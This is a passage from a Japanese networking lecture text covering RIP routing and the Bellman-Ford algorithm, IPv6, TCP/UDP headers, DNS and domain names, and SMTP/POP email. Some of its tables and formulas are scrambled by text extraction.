経路の一覧を作ることができる. この一覧表を経路表 (routing table) と呼ぶ. したがって, IP サブネット内のホストはサブネット外部への通信を行う場合には, 経路表を参照することにより, 適切なルータへの通信を行えば, 後の処理はルータが外側のサブネットの経路表にしたがってパケットを送出し, 最終目的ホストまで届けることが出来る.

Example 3.2.8 経路制御の一例として, 下のようにサブネットが接続されていたとしよう.

133.6.130/24

133.6.120/24

133.6.130.254 133.6.84.254130.5.84/22

201.15.32/24

131.18/16

201.15.32.254

130.5.86.254

130.5.87.254

131.18.1.254

131.18.255.254131.18.2.254133.6.120.254

ここで, 各楕円は IP サブネットを表し, 矢印のついた装置がルータであり, ルータの各インターフェースにはサブネットに応じた IP アドレスが付けられている. （それ以外には各サブネットにはルータは存在しないとする.）この時, 各サブネットの経路表は以下の通りとなる.

133.6.130/24

default 133.6.130.254

201.15.32/24

default 201.15.32.254

133.6.120/24

default 133.6.120.254

130.5.84/22

default 130.5.87.254

133.6.130/24 130.5.84.254

201.15.32/24 130.5.86.254

131.18/16

default 131.18.255.254

133.5.84/22 131.2.1.254

133.5.84/22 131.18.255.254

133.6.120/24 131.2.254

133.6.130/24 131.18.255.254

201.15.32/24 131.18.255.254

この例は次の２つの事実を表している.

1. より広いネットワークに向かうルータがデフォールト・ルートをアナウンスする.

2. ネットワークが複雑化するにしたがって, 経路表が大きくなる.19より正しくは, IP プロトコルのブロードキャストなので, IP ブロードキャストと呼ばれ, 宛先の IP アドレスはホスト部がすべて 1 となっているアドレスが用いられる. すなわち, 133.6.130/24 でのブロードキャスト・パケットは, 133.6.130.255 を宛先に持ち, このアドレスをブロードキャスト・アドレスと呼ぶ. また, ホスト部がすべて 0 になるアドレスをネットワーク・アドレスと呼び, そのサブネット自身のアドレスと考える. したがって, クラスＣサブネットで本当にホストアドレスとして利用できるものは,254 個となる.



3.2.5.2.2.2 RIP の問題点 RIP を用いた経路制御では, 上に述べたようにネットワークが複雑化するにしたがって経路表が大きくなるという欠点を持つ. ここでは, 次の図のように接続されたネットワークの間で RIP によって経路情報が交換されるという状況を考えてみよう.

A 1 B 1 C

D

11

A, B, C, D のそれぞれは一つのルータを表し, 図の

ようにルータによって接続されているとする. 相互

の接続のためのコストは全て等しいと仮定する. （接

続コストとは, ネットワーク相互の間の通信速度や,

相互接続の価格等によって決定される.）

はじめに, このネットワークの相互接続のための経路表を作成するための方法を考えてみよう. RIP で用いられる経路決定アルゴリズムは Bellman-Ford アルゴリズムと呼ばれ, 各ネットワーク上で次のような動作を行う.

1. 自分自身への距離を 0 に, 自分以外の全てへの距離を ∞ にセットする.

2. 自分がもつ全ての距離データを隣接する全てのルータに転送する20.

3. 隣接するルータからの情報と自分自身の持つ情報から, 自分自身の情報を更新する. この時, 計算結果の中から他への距離が最小となるように距離を決定する.

より詳しくは, 以下のようにして経路表を作成することができる.

アルゴリズム 3.2.9 (Bellman-Ford アルゴリズム) ルータ i0 において, 他のルータへの最小コストを決定する. ここで, m 回目の反復演算における i0 から i への距離を b

(m)i , Vi は, ルータ i と隣接する全て

のルータの集合, dij はルータ i, j の間の距離を表す.

ステップ１次のように初期化を行う. b(0)i0

= 0, b(0)i = ∞, i �= i0.

ステップ２全ての i に対して, 以下の演算を行う. b(m)i = minj∈Vi{b(m−1)

j + dji}.

ステップ３全ての i に対して b(m)i = b

(m−1)i ならば経路表が確定し, そうでなければステップ２を繰り

返す.

Example 3.2.10 上のネットワークにおいて, Bellman-Ford アルゴリズムを用いて経路表を決定する.i0 = A, B, C, D に対して Bellman-Ford アルゴリズムを実行する必要がある. この時,

VA = {B}, VB = {A, C}, VC = {B, D}, VD = {B, C}

である.

【初期化】ルータ A

宛先距離 R

A 0B ∞C ∞D ∞

ルータ B

宛先距離 R

A ∞B 0C ∞D ∞

ルータ C

宛先距離 R

A ∞B ∞D 0D ∞

ルータ D

宛先距離 R

A ∞B ∞C ∞D 0

20このプロセスはブロードキャストを用いれば容易に実現できる.



１回目の経路表の交換が行われると, ルータ A では

b(1)B = min

j∈VB

{b(0)j + dji} = min{b(0)

A + dAB , b(0)C + dCA} = 1

となり, ルータ B では,

b(1)A = min

j∈VA

{b(0)j + dji} = b

(0)B + dBA = 1,

b(1)C = min

j∈VC

{b(0)j + dji} = min{b(0)

B + dBC , b(0)D + dDC} = 1,

b(1)D = min

j∈VD

{b(0)j + dji} = min{b(0)

B + dBD, b(0)C + dCD} = 1,

と決定される.【１回目】

ルータ A

宛先距離 R

A 0B 1 B

C ∞D ∞

ルータ B

宛先距離 R

A 1 A

B 0C 1 C

D 1 D

ルータ C

宛先距離 R

A ∞B 1 B

D 0D 1 D

ルータ D

宛先距離 R

A ∞B 1 B

C 1 C

D 0【２回目】

ルータ A

宛先距離 R

A 0B 1 B

C 2 B

D 2 B

ルータ B

宛先距離 R

A 1 A

B 0C 1 C

D 1 D

ルータ C

宛先距離 R

A 2 B

B 1 B

D 0D 1 D

ルータ D

宛先距離 R

A 2 B

B 1 B

C 1 C

D 0

したがって２回目で全ての経路表が確定する.

この例からも容易にわかるように, 最も遠いルータへの経路が確定するためには, そのルータまでのホップ数（中間に入るルータの数）を n としたとき, n + 1 回の反復が必要となる. したがって, N 台のルータか

らなるネットワークで経路表が確定するためには, 最大 N − 1 回の反復計算が N 台のルータで行われ, １台あたり１回の経路計算には N − 1 の計算時間が必要となる. よって, Bellman-Ford アルゴリズムで経路が確定するためには, O(N3) 回の計算が必要となる.もし, ネットワーク上で障害により経路が遮断されてしまった場合には, 経路の再計算のための計算回数

が O(N3) かかることとなり, また, その障害の伝達時間として O(N) の時間がかかってしまう. この伝達時間の遅れが原因となる例として, 以下の無限カウントの問題が生じる.

Example 3.2.11 次のような直列のネットワークを考察する.

A B C

この時, A, B の経路表は次のようになっている.

ルータ A

宛先距離 R

A 0B 1 B

C 2 B

ルータ B

宛先距離 R

A 1 A

B 0C 1 C



さて, ここで B と C の間の回線が切断されたとしよう. この時に B は C, D へ到達不可能という情報を

瞬時に得ることができる. この時点で B の経路表には, C, D への距離が ∞ と記録される. しかし, この情報が A に伝達されるためには, この事故のあとの最初の B からの経路制御パケットが A に到達するま

での時間を待たなければならない. その間に A から B に対して送信される経路表には C への距離が 2 と記録されているため, この経路制御パケットを受取った B の経路表には, C への経路が A を経由すると記

録され, さらにその経路データは A とも交換されるため, 以下のような遷移をたどることとなる.

Aからの経路表を B

が受取った.

ルータ B

宛先距離 R

A 1 A

B 0C 3 A

この B の経路表を

A が受取った.

ルータ A

宛先距離 R

A 0B 1 B

C 4 A

この A の経路表を

B が受取った.

ルータ B

宛先距離 R

A 1 A

B 0C 5 B

このような無限カウントを問題を避けるためには, ルータ A が B から受取った情報は再び B には返さな

い, すなわち, 各ルータが学習 (larning) した情報の発信元には, 学習内容を返さないという方法が有効に働く. これをスプリットホライズン (split horizon) と呼ぶ.

3.2.5.2.3 その他の経路制御上のような RIP による経路制御は, ごく小さなネットワーク内では有効に機能する場合があるが, 大規模ネットワークでは伝達遅延などの影響が無視できなくなるため, ネットワーク内の全てのリンク情報を伝達する経路制御アルゴリズムを用いることが多い. そのような IGP の代表例としては OSPF (Open Shortest Path Fast) と呼ばれるプロトコルが存在する.また, AS 間の経路制御には, AS の経路制御ポリシを含めた, RIP, OSPF とは異ったプロトコルが用い

られている. しかし, たとえ EGP を利用しても, 経路制御情報を伝達すること自身に莫大なコストがかかることとなり, 海外線の接続点やバックボーンの接続点では, 大量の経路制御情報を交換しなければならない欠点を持つため, 複数の AS を１箇所で接続するという IX (Internet Exchange) を設置したり, 世界的にみたとき, IP アドレスの割り当ては地域ごとの割り当てを行って, 海外線の接続点での経路制御が容易になるようにするなどの工夫が行われている.また, ネットワークに接続されたホストの設定ミスにより, 正規のルータ以外のホストが経路制御パケッ

トを送出すると, サブネット内だけではなく, その経路制御が伝達され, 外部のネットワークにも間違った経路情報が流れることになる. したがって, ネットワークに (UNIX) ホストを接続する場合には, 正規のルータでない限り, 決して経路制御バケットを送出してはならない. これは, ネットワークを利用する際に, 技術的に最も気をつけなければならないことの一つである21.

3.2.5.2.4 パーソナル・コンピュータに対する経路制御 Windows や MacOS （MacOS 9 以前）などのパーソナル・コンピュータの OS では, このような経路制御のためのプロトコルを受信して, 経路表を作成する機能を持っていない. そのため, Windows や MacOS でネットワーク設定を行う場合に, defaultgateway とか, default router などを明示的に指定しなければならない. このような項目には, defaultの経路をアナウンスするルータの IP アドレスを指定すれば良い.

21最近有名になった Linux の slackware ディストリビューションの初期の頃には, デフォールト・インストールの状態が, 経路制御パケット（しかもデフォールトの経路）をアナウンスするようになっていた. そのため, 名古屋大学のネットワークが混乱するという事件が何度も発生していた.



3.2.5.2.5 IPv6 これまでの IP アドレス体系では, 232 個の IP アドレスしか割り当てることが出来ないため, IPv6 と呼ばれる, 次世代の IP アドレス体系が開発されている. 現在では, RFC 1884 に基づくIPv6 アドレス・モデルと呼ばれる, 次世代 IP アドレスの体系が定義され, 一部の UNIX では IPv6 の実装が可能になり, バックボーン上で IPv6 の実験が始まっている.

IPv6は 128ビット長のアドレス体系を持ち, ４桁の１６進数（１６ビット） “:” で区切って８個並べる.

xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx

IPv6 では,

0:0:0:0:0:0:226.95.20.128

というように, 現在の IPv4 を包括するアドレス体系であり, 単に IP アドレスを増やすだけではなく, IPv6プロトコル規格の中には, 通信路の暗号化を行うための規格や, より信頼性の高い通信を行うための規格が含まれている.

3.2.5.3 IP プロトコルのトランスポート層

IP プロトコルのトランスポート層プロトコルは, TCP (Transmission Control Protocol), UDP (UserDatagram Protocol) に分けれらる.

3.2.5.3.1 TCP TCP プロトコルは電子メールの送受信, HTTP （ウェブ・ページ）, telnet, ftp など,我々が日常的に利用するネットワークサービスで利用される, コネクション型のプロトコルである. TCPプロトコルには, ポート番号 (port number) と呼ばれる概念があり, 電子メールの送受信に使うポートは２５番と言ったように, それぞれのポートに対して, それを利用する上位プロトコルが対応している. TCPの XXXX 番ポートを使うプロトコルを XXXX/tcp 等と書く.

TCP プロトコルの通信では, パケットに一連の番号が付けられるため, ネットワークの障害などにより,データが欠落した場合には, 送信側にデータの再送信を要求することが行われる. そのため, 通信の信頼性が高くなるが, 一方では処理の負荷が高くなるという欠点を持つ.

3.2.5.3.2 UDP UDP プロトコルはデータを低い負荷で送受信したい場合に利用されるプロトコルであり, コネクションレス型の通信路を形成する. UDP プロトコルにもポート番号の概念があり, UDP のXXXX 番ポートを使うプロトコルを XXXX/udp 等と書く.

UDP ではパケットには順序を示すデータが含まれないため, ネットワーク障害などによるデータの欠落に対する処理は, 各ネットワークサービスを行うアプリケーション側で責任を持つ必要がある. そのため,比較的小さなデータで済むような通信で用いられることが多い22.

3.2.5.3.3 ポート番号 TCP, UDP で利用されるポート番号とはどんな意味があるのだろうか. ＯＳのネットワークインターフェース（正しくは, ネットワークプロトコルスタック (network protocol stack)と呼ばれる）は, 模式的には荷物の配送センタと考えてもよい. 事実, 「パケット」という言葉は「小包」という意味であり, パケットの「プロトコルヘッダ」は「小包の荷札」, 「ペイロード」は「小包の中身」と考えることができる.このようなモデル化の下では, ネットワークレイヤの各階層は荷物の集配の方法を定めていると考える

ことができ, 「物理層」は, 配送に自動車を使うか, 鉄道を使うかといった「配送の手段」と見なすことが

22データが小さければ, パケットが分割されることが少なくなり, 受信側でのデータの再構成が容易になる.



できる. さらに, ネットワークレイヤを上にたどるごとに, 各層ごとの配送センタがあり, そこでは対応した層の「荷札」のみを参照して, 宛先に応じた配送手段と配送経路を決定することとなる.この時, TCP, UDP のポート番号は, TCP や UDP を使う各種のネットワークサービスの荷物の受取り

口と考えることができる. すなわち, TCP パケットや UDP パケットを扱う配送センタには, TCP, UDPごとに番号（ポート番号）が付けられた配送の窓口があり, 指定の番号をもつパケットのみの配送を行っていると考えればよい. 逆に言えば, TCP パケット, UDP パケットを扱うためには, 発信元のポート番号と宛先ポート番号を明示しないとパケットの配送とその返信を受取ることができない.

3.2.5.4 IP プロトコルスタックのまとめ

IP プロトコルスタックの解説の最後に, IP プロトコルスタックでのパケットの構造を見ておこう. パケットの構造を見ることにより, IP プロトコルスタックの動作の仕組みを理解することができる.

3.2.5.4.1 カプセル化前にも述べた通り, ネットワークパケットは, ネットワークレイヤを下にたどるたびにヘッダが付け加えられ, 上位層のヘッダと上位層でのペイロード全体を, その層でのペイロードとみなすというカプセル化が行われる. 実際には, その層でのヘッダ（レイヤヘッダ (layer header)）は全ての層で付けられるわけではない. 多くの TCP/IP アプリケーションでは, 下の図のようにヘッダが付け加えられていく.

物理層

データリンク層

ネットワーク層

トランスポート層

（セッショント層）

（プレゼンテーション層）

アプリケーション層

ヘッダペイロード



データ

アプリケーション層のデータ, すなわちネットワークサービスのアプリケーションデータは,物理層でのパケット長

が伝送路の最大パケット長23から決まるデータ長に分割される. これをフラグメンテーション (flagmentation)

と呼ぶ.

3.2.5.4.2 イーサネットヘッダ IP プロトコルスタックで用いられるデータリンク層のデータグラム(datagram) は, 物理層の方式に深く依存している. この意味では, データリンクヘッダは物理層とデータリンク層のヘッダと考えることもできる24. いずれの場合にも, ４８ビット（＝６バイト）の発信元アドレスと４８ビット（＝６バイト）の送信先アドレスが含まれる. ここでのアドレスはデータリンク層のアドレスである MAC アドレスが用いられる. これらのアドレス表記の後に, プロトコル種別（IP であるか, 他のプロトコルであるか）や, パケット長などのデータがヘッダに含まれる.

23イーサネットの場合には, 伝送路上で許されるネットワーク層での最大パケット長を MTU (maximux transformationunit) とよぶ. したがって, MTU はデータリンク層のパケット長からデータリンクヘッダの長さを引いたものとなる.

24厳密には, データリンク層が MAC (Media Access Control) 副層と, LCC (Logical Connection Control) 副層に分けれれ, それぞれにヘッダが定義される.



3.2.5.4.3 IPv4 ヘッダ IPプロトコルスタックで用いられるネットワーク層のデータグラムは, IP デー

タグラム (IP detagram) と呼ばれ, 現在は IPv4 が用いられていることは前に nobet/a . ここでは, IPv4のヘッダ構造を簡単に見てみよう. IPv4 ヘッダは下の図のような構造をもつ

0 7 15 23 31[ver] [hl] [tos] [len]

[id] [f] [foff][ttl] [prot] [csum]

[source address][destnation address][option + padding]

• IPv4 ヘッダは「２０バイト（＝１６０ビット）＋ IP オプション長」の長さを持つ.

• 全体のヘッダ長はバイト単位の長さが [hl] に格納される. 上位層のプロトコルの分類番号が [prot] に格納され, [prot] を参照することで, どの上位層に遷移すれば良いかがわかる. TCP の場合には 6, UDP の場合には 17, ICMP の場合には 1 が入る. IPv4 上位層のプロトコル番号は RFC 1700 で規定されている.

• IPv4 データグラムでのアドレス体系は IPv4 であるので, [source address], [des-tination address] には IPv4 アドレスが格納される.

3.2.5.4.4 TCP/UDP ヘッダトランスポート層のプロトコルである TCP プロトコルのヘッダは以下のようになっている.

0 7 15 23 31[source port] [destination port]

[sequence number][acknowledgemnt number]

[R] [window][csum] [urgent]

[option + padding]

• TCP ヘッダでは始点ポート・終点ポート番号がアドレスの役割を果たしている.

• TCP ではシーケンス番号と確認応答番号を用いて, データの到達性を保証している. また, [window] の前６ビットを用いて, TCP 接続の状態を制御している.

一方, UDP プロトコルのヘッダは以下のようになっている.

0 7 15 23 31[source port] [destination port]

[length] [csum]

• UDP ヘッダでは始点ポート・終点ポート番号がアドレスの役割を果たしている.

• UDP にはデータの信頼性を保証する内容は「チェックサム」以外には存在していない.

このように, UDP は TCP と比較すると極めて簡素なもので, IP 層程度の信頼性をもつデータの交換のために考え出されたものである.

3.3 IP による各種のネットワーク・サービス

IP プロトコルは「インターネット」で利用可能な唯一のネットワーク層プロトコルであり, 我々が「インターネット」で利用する様々なネットワーク・サービスは TCP/UDP プロトコルを利用することにより実現されている. ここでは, それらのプロトコルの代表的なものの概要を解説しよう.



3.3.1 DNS

「インターネット」に接続されたホストは, IP アドレスを用いて一意に識別することが出来るが, IP アドレスは数字の羅列であるので, コンピュータで処理することは易しいが, ユーザが接続先を指定する際にIP アドレスだけを用いることは困難である. そのため, 人間がわかりやすい方法を用いてホストを一意に識別する方法として提供されるものが, ドメイン名 (domain name) と呼ばれるものである.

3.3.1.1 ドメイン

電子メール, telnet, ftp, http などのアプリケーションで利用できるような, 階層的な名前空間を分散管理によって導入したものが DNS (Domain Name System) である. DNS の基本仕様は RFC 1034, RFC1035 によって定められている. ここで導入される名前空間の元をドメイン (domain) （またはドメイン名）と呼ぶ.

Example 3.3.1 名古屋大学を表すドメイン名は nagoya-u.ac.jpである. 名古屋大学多元数理科学研究科を表すドメイン名は math.nagoya-u.ac.jpである.

ドメイン名は “.” によって分割された階層構造を持ち,右に行くほど上位に属する. 当初,最上位ドメインは,gov (Goverment), arpa (ARPA-Internet host), com (Commercial), edu (Education), org (Organization),mil (Military)などの,組織の形態を表すものと, ISO の国別コードにしたがった２文字の国別コード (ISO-3166: Codes for the Representation of Names of Counties) （たとえば, 日本は jp, 英国は uk, 韓国は ko

など）の２種類に分類されていた. （現在でも最上位ドメインは, 多少の追加があったが, 基本的にはこの形を踏襲している.）２番め以後のドメイン名は, それぞれのドメインを管理する組織に, それ以下の段階のドメイン名を割り当てる権限を委譲することにより, 階層的にドメイン名を与える方法をとっている. （jp

ドメインに関しては, JPNIC（日本ネットワークインフォメーションセンター）によって管理されている.）なお, アメリカに関しては国別コードを利用せず, ３文字の最上位ドメインを利用することが多い.

3.3.1.1.1 jp ドメイン jp ドメインに関しては, 第２階層のドメイン名として, 当初は ac（学術研究機

関）, co （商業組織）, or （団体）等に分け, それぞれのドメインに該当するそれぞれの組織に対して第３階層のドメイン名を割り当ててきた. 現在では, jp ドメインの第２階層は以下のように割り当てられている.



ac ドメイン大学などの高等教育機関,学校法人等.

ad ドメイン JPNIC に直接関連する組織, JPNICがネットワーク運営上必要と認めた組織.

co ドメイン日本で登記されている法人

組織.ed ドメイン小学校, 中学校, 高等学校,

各種学校など.go ドメイン日本の政府機関, 特殊法人

など.gr ドメイン任意団体

ne ドメイン日本国内のネットワーク

サービス提供者.or ドメイン法人であり, 他のドメイン

に該当しないもの. 例えば,社団法人, 財団法人など.

地域型ドメイン組織または個人が登録できるドメイン名で, 登録者の住所に応じて決まる. たとえば, 千葉県成田市に在住する個人が登録できるのは,XXXX.narita.chiba.jp となる. また, 地方公共団体もこの形式でドメインを利用する.

汎用 jp ドメイン XXXXX.jp の形式のドメイン名で, 第２階層の区別はない. ２００１年２月に登録が始まった.

3.3.1.1.2 サブドメインサブドメイン (subdomain)とは, それぞれのドメイン階層の下の階層構造をさすが, 通常は, 組織内で, 組織に割り当てられたドメイン名の下の階層構造を指す.

Example 3.3.2 math.nagoya-u.ac.jpは nagoya-u.ac.jpのサブドメイン.

サブドメインを割り当てる権限は, そのドメイン名を管理する組織にある. すなわち, 名古屋大学内では,XXXX.nagoya-u.ac.jpを割り当てる権限は, 名古屋大学にあり, 名古屋大学内でサブドメインを適切に管理する必要がある.

3.3.1.1.3 FQDN FQDN (Fully Quarified Domain Name) とは, ドメイン名の階層構造を利用して,「インターネット」上にあるホストを一意的に指定する名前のことである. FQDN は, そのホストの属するドメイン名の最下位階層としてホスト名を割り当てることにより決まる.

Example 3.3.3 math.nagoya-u.ac.jpにある rabbit というホストの FQDN は,rabbit.math.nagoya-u.ac.jpとなる.

3.3.1.2 DNS の仕組み

DNS は FQDN に対して IP アドレスを与える仕組みのことを指す. FQDN から IP アドレスを答えるソフトウェアのことを指す言葉でもあり, そのソフトウェアをネームサーバ (name server) という. また, そのネームサーバが動作しているホストを DNS サーバと呼び, DNS の問い合わせ (DNS query) は53/tcp および 53/udp を利用する. したがって, 我々が FQDN から IP アドレスを知るためには, 手近のDNS サーバに問い合わせをすれば良い.

3.3.1.2.1 DNS 問い合わせの流れ通常 DNS サーバは, サーバが属する組織の FQDN と IP アドレスの対応表（A レコードという）をもち, 世界中からのその組織の FQDN の問い合わせに回答する. DNS名前空間がツリー状に管理されているので, DNS の問い合わせもツリー状に管理され, 上位ドメインに属するホストの FQDN の問い合わせは, 上位ドメインの DNS サーバに対して行われる.



math phys chem bio eps

��

� ��

nagoya-u

math

tohoku

��

ac

apple ibm

��

co

��

jp edu

��

“.”この図はドメイン名の階層の構成図でもあるが, 一方では, DNS 問い合わせの流れも表している.例えば, math.nagoya-u.ac.jp からwww.apple.co.jp の IP アドレスを DNS に問いあわせたとき, この図を上にたどり, jp ドメインのネームサーバまで上り, co.jp のネームサーバから apple.co.jp のネームサーバを探し,apple.co.jp のネームサーバに問い合わせを行う.実際には, いちいちこのようなツリーをたどると, 大変なトラッフィクが発生するので, それぞれのネームサーバで情報を蓄積（キャッシュ）することで, トラフィックの増大を防いでいる.

3.3.1.2.2 DNS の正引きと逆引き DNS の持つ機能の代表的なものとして, FQDN から IP アドレスを求めることがあるが, これは「Ａレコードの正引き」と呼ばれるものである. この他に, IP アドレスからFQDN を求める「逆引き」機能や, ホストに別名を与える「ＣＮＡＭＥレコード」機能を持つ.

Example 3.3.4 我々は www.math.nagoya-u.ac.jpとか www.apple.co.jp等と言った FQDNを利用することが多いが, これは, そのドメインに wwwというホスト名を持つホストがあるのではなく, WWW サー

バの機能を持つホストに wwwという別名 (aliase)を与えていることが多い. この別名を与える DNSのデータを CNAMEという. もし, WWWサーバを他のホストに変更しても, CNAMEフィールドだけを変更すれば良いので,設定変更などが単純になるため,特定の機能を持つホストを表す FQDNは CNAMEを用いることが多い25. 実際, www.math.nagoya-u.ac.jpは（２００１年３月現在） rabbit.math.nagoya-u.ac.jp

の別名である.

3.3.1.2.3 ドメイン名と IP アドレスの関係一見ドメイン名は IP サブネットと深く関わっているように思えるのであるが, 実は両者はほとんど26無関係に近い. ドメイン名を管理するシステムは DNS であり,特定のドメインに含まれるホストのリストは, そのドメインのネームサーバのＡレコードとして記述される. Ａレコードは,

wambat IN A 133.6.130.1

rabbit IN A 133.6.130.5

と記述され, これが math.nagoya-u.ac.jpの各ホストの FQDN に対応する IP アドレスになっているため, Ａレコードに書く IP アドレスはサブネット構成とは無関係に記述できる. したがって, １台のホストを複数のドメインに属すように設定27することも可能である.

3.3.1.3 ドメイン名紛争

最近新聞などで「ドメイン名に関する訴訟」などを見掛けることが多い. これは, XXXX.comや YYYY.co.jp

などの XXXX や YYYY の部分の所有権に関する紛争であり, ウェブが営利企業などの広告に重要な役割を果たし, 誰もが, 「わかりやすいドメイン名」や「企業名に直結したドメイン名」の利用を望むようになったことに由来する.

25それどころか, CNAME に複数のホストを割り当て, WWW のアクセスの負荷分散を行うラウンドロビン (round robin) 等も, 大規模なウェブサイトでは実施されている.

26正引きは IP サブネットとは無関係だが, 逆引きにはちょっとした問題があり, ここが一番面倒なところである.27これは, 異なったドメインのネームサーバに, 同一の IP アドレスをＡレコードとして設定すれば良い.



例えば, co.jp ドメインは１法人に対して１ドメインしか割り当てないという規則があったが, そのドメイン名は申請者が自由に選択することが出来た. そのため, 重複しない範囲でどのようなドメイン名も設定できたため, 有名企業の名前をドメイン名として申請して, その企業がドメイン名を申請しようとしたときに, その優先権を主張したという事件もある.また, com ドメインなどは申請者の資格に関する条項は何も存在しないので, 有名人（nakata.comなど）

の名前を先にドメイン名として取得して, その後, その人に高額で取得を迫る等と言った事件は後を絶たない. これらは, 「インターネット」の重要性を以前から認識していた人たちには予期できたことであるが,この問題は, これらの行為を悪意を持って行っていることであり, 現在の日本国内の判例のように, 「大企業が常に占有権がある」という考え方は,「インターネット」は個人も大企業も同等の立場で運用されているという点や, 無名の多くの個人の努力で構築されてきたという歴史を無視したものであるとも考えることができることに注意しよう.２００１年２月から登録の始まった「汎用 jp ドメイン」では, その取得条件に制限がついていない. さ

らに,「汎用 jp ドメイン」では,「多国語ドメイン名28」も利用されるため, 今後このような「ドメイン名紛争」は増えていくだろう.

3.3.2 電子メール

我々がネットワークサービスの中で最も良く利用するものの一つである, 電子メール (electronic mail)がどのようにやり取りされているかを考えてみよう.電子メールの送受信のために規定されているプロトコルは smtp (Simple Mail Transfer Protocol) 25/tcp

と言われるもので, RFC 812, RFC 1123 などで規定されている. ここでは, 電子メールの送受信の手順を見ることにより, 電子メールとはどのようなものかを見ていこう.

3.3.2.1 電子メールの送受信の手順

我々が電子メールを送信する際には, 以下のものをメーラ (mailer) で作成する.

• 電子メールの宛先のアドレス (destination address). これには以下のものが含まれる.

– 電子メールの宛先を表す to,

– 電子メールのコピーを送信する宛先を表す cc,

– 電子メールのコピーを送信するが, ヘッダには表示されないする宛先を表す bcc.

• メールの発信者のアドレス（from で表される）.

• メールの “Subject”,

• メールの本文 (mail body).

メールを作成するメーラ・ソフトウェアをMUA (Mail User Agent) と呼ぶ. MUA で作成したメールは,本文と残りの部分（本文の前に付けられるため, メール・ヘッダ (mail header) と呼ばれる）に分けられ,メールの送信を受けもつソフトウェアに渡される. メールの送信を受け持つソフトウェアを MTA (MailTransfer Agent) と呼び, sendmail, qmail 等が代表的なものである. MUA から MTA に渡される際には,メール・ヘッダとメール本文は１行の空行で分割された, 一つのテキストファイルとして渡される.

28日本語を含む非アスキー文字を許したドメイン名. 元々の DNS は 0-9, A-Z, - のみを利用し, 大文字と小文字を区別しない. 非アスキー文字を含むドメイン名は, DNS により解釈可能な文字列に変換され検索が行われる.



MTA は宛先アドレスに記載された内容にしたがって29, メールの送信先を決定し, 送信先の MTA とsmtp プロトコルで通信を行い, メールを配信する.

メールの作成

MUA

To: [email protected]

From: [email protected]

　Hello

メールの送信

送信先の決定

envelope from の決定

envelope to の決定

MTA

Received: from XXXX



Date: [email protected]

　Hello

smtp

メールの送信

スプールへの保存

または次の MTA へ転送

MTA

Received: from YYYY

Received: from XXXX



Date: [email protected]

　Hello

　MTA を経由するたびに Received ヘッダが付加されていく. MTA は envelope to を元に DNS のＭＸレコードを利用して送信先を決定する.

メールを受信した MTA は, そのメールが自身のホスト宛であるかどうかを判断し, 自身のホスト宛であれば, そのメールを宛先ユーザのメール・スプール (mail spool) に保存し, そうでなければ, 適切な他のホストに転送を行う.

3.3.2.2 送信先の決定方法

これまでに, メールの送信命令を受けた MTA は, 宛先アドレスを元にメールの送信先ホストを決定すると述べた. ここでは, その手順を詳細に見ていこう.電子メールアドレスは, [email protected]等と, @ で区切られた, 宛先ユーザ名と, 宛先ドメ

イン名に分けられる. メールの送信先を決定するには, 宛先ドメイン（上の例では math.nagoya-u.ac.jp

）から, そのドメインに対応する MTA が動作しているホスト（メールサーバ (mail server) ）を調べる必要があり, そこで利用されるのが DNS である. ここでは DNS のＭＸレコードと呼ばれる, FQDN ごとに指定されたメールサーバの FQDN の情報を利用し, さらに, Ａレコードを利用して, メールサーバの IPアドレスを求めることにより, 送信先のメールサーバを決定する.しかしながら, ここで求めた送信先メールサーバは, 必ずしもメールの最終目的地とは限らない. 例えば,

企業などの大きなドメインで, 内部のドメイン構造を秘匿するためや, 内部のホストの安全性を高めるために, LAN の入り口近くにあるメールサーバで, すべてのメールを一旦受信し, さらに, 内部のホストに対してメールの転送を行う場合が多く, 上の例で「次の MTA への転送」とある部分はこの動作を指している.

3.3.2.3 メール・スプール

メール・スプール (mail spool)とは, MTA が受信したメールを, 各ユーザごとに分け, ユーザがメールを読み出すまでの間保存しておくディスク領域のことである.各ユーザ宛のすべてのメールは（基本的には）一旦メールスプールに保存され, ユーザはスプールに保

存されたメールを MUA で読み出すこととなる. MUA を利用してスプールに保存されたメールを読み出す場合, スプールが MUA の動作するホスト上に存在すれば, スプール・ファイルを直接読み出すことで

29MTA 自身は, メール・ヘッダ内に to, from の内容に関わりなく, 送信先と発信者を指定することができ, MTA の交信に使われる送信先を envelope to, 発信者を envelope from と呼び, ヘッダ内の to, from とはプロトコル上は区別されている.



MUA はメールをスプールから取り出すことが可能であるが, パーソナル・コンピュータ上の MUA を利用している場合など, スプール・ファイルを直接ファイルとして読み出せない場合には, MUA は, 次に述べる POP プロトコル（または, IMAP プロトコル）を利用して, メール・サーバ内のスプールファイルをネットワーク・プロトコルを利用して読み出し, ユーザに提示することとなる.メール・スプールはディスクのある領域であるので, スプールがいっぱい (full) となる可能性がある. 通

常 MTA は, スプールがいっぱいになると, これ以上のメールの受信は不可能と判断し, スプールに空き領域が出るまでは, メールの受信を拒否する. 従って,

• 巨大なメールを送り, 相手のメール・スプールをあふれさせるようなことをしてはいけない.

• 自分宛のメールをいつまでもメール・スプールにため込んで, メール・スプールをあふれさせる要因を作ってはならない.

という, 電子メールを利用するための基本的な掟を守らなければならない.

ユーザＡユーザB ユーザC メールスプール

ＭＴＡによるメールの受信

ＭＵＡによる読み出し

ＭＵＡによる保存ＭＵＡによる保存

異なったホストからのメールの読み出し

　このように, MUA はスプールから読み出したメールを, MUA の保存領域（UNIX の場合は「ホーム・ディレクトリ」, パーソナル・コンピュータの場合には, そのパーソナル・コンピュータ上のディスク）に移動するか, メール・スプールに残すかの選択が出来る.２つ以上のホスト（パーソナル・コンピュータや UNIX ホスト）でメールを読み出す場合には, そのメールがどのように移動しているかを適切に判断しなければ, 読んだはずのメールが「迷子」になる場合がある.UNIX ホストでホーム・ディレクトリを NFS により共有している場合には, どのホストから読み出しても保存されるディレクトリは一致する.

3.3.2.4 POP

pop3 (Post Office Protocol 3) プロトコルは 110/tcp で利用される, メールサーバ内のメール・スプールから他のホストへメールを転送するためのプロトコルであり, RFC 1939 で詳細に定義されている.



パーソナル・コンピュータや, メールサーバ以外の UNIXホストでメールを読み出す場合には,メール・スプールを直接ファイルとして読み出すことは出来ない30. そのため, メール・スプールを持つ pop3のサーバ

（POP サーバ）に対して, 自分のメールを読み出したいというリクエストを行い, その返答として, メールの内容を読み出すことが出来る. POP サーバは接続時点で, ユーザの確認のための認証 (authentication)を行うが, その認証方法により, プロトコル手順は POP, RPOP, APOP にわかれる. 通常, POP ホストでの UNIX パスワードを利用して認証を行う.

POP server POP client

�

接続と認証

�

OK

